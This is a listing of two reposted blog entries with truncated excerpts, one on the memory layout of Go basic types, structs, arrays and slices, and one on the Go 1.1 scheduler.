[转]Go Data Structures | webfuns–趣味互联网
https://blog.webfuns.net/archives/1912.html
When explaining Go to new programmers, I’ve found that it often helps to explain what Go values look like in memory, to build the right intuition about which operations are expensive and which are not. This post is about basic types, structs, arrays, and slices. Let’s start with some simple examples:. Represented in memory as a single 32-bit word. (All these pictures show a 32-bit memory layout; in the current implementations, only the pointer gets bigger on a 64-bit machine. An array of 5. Fields in a s...

[转]The Go scheduler | webfuns–趣味互联网
https://blog.webfuns.net/archives/1886.html
One of the big features for Go 1.1 is the new scheduler, contributed by Dmitry Vyukov. The new scheduler has given a dramatic increase in performance for parallel Go programs and with nothing better to do, I figured I’d write something about it. Most of what’s written in this blog post is already described in the original design doc. It’s a fairly comprehensive document, but pretty technical. What does the Go runtime need with a scheduler? When you have many threads scheduled out at random points, chance...
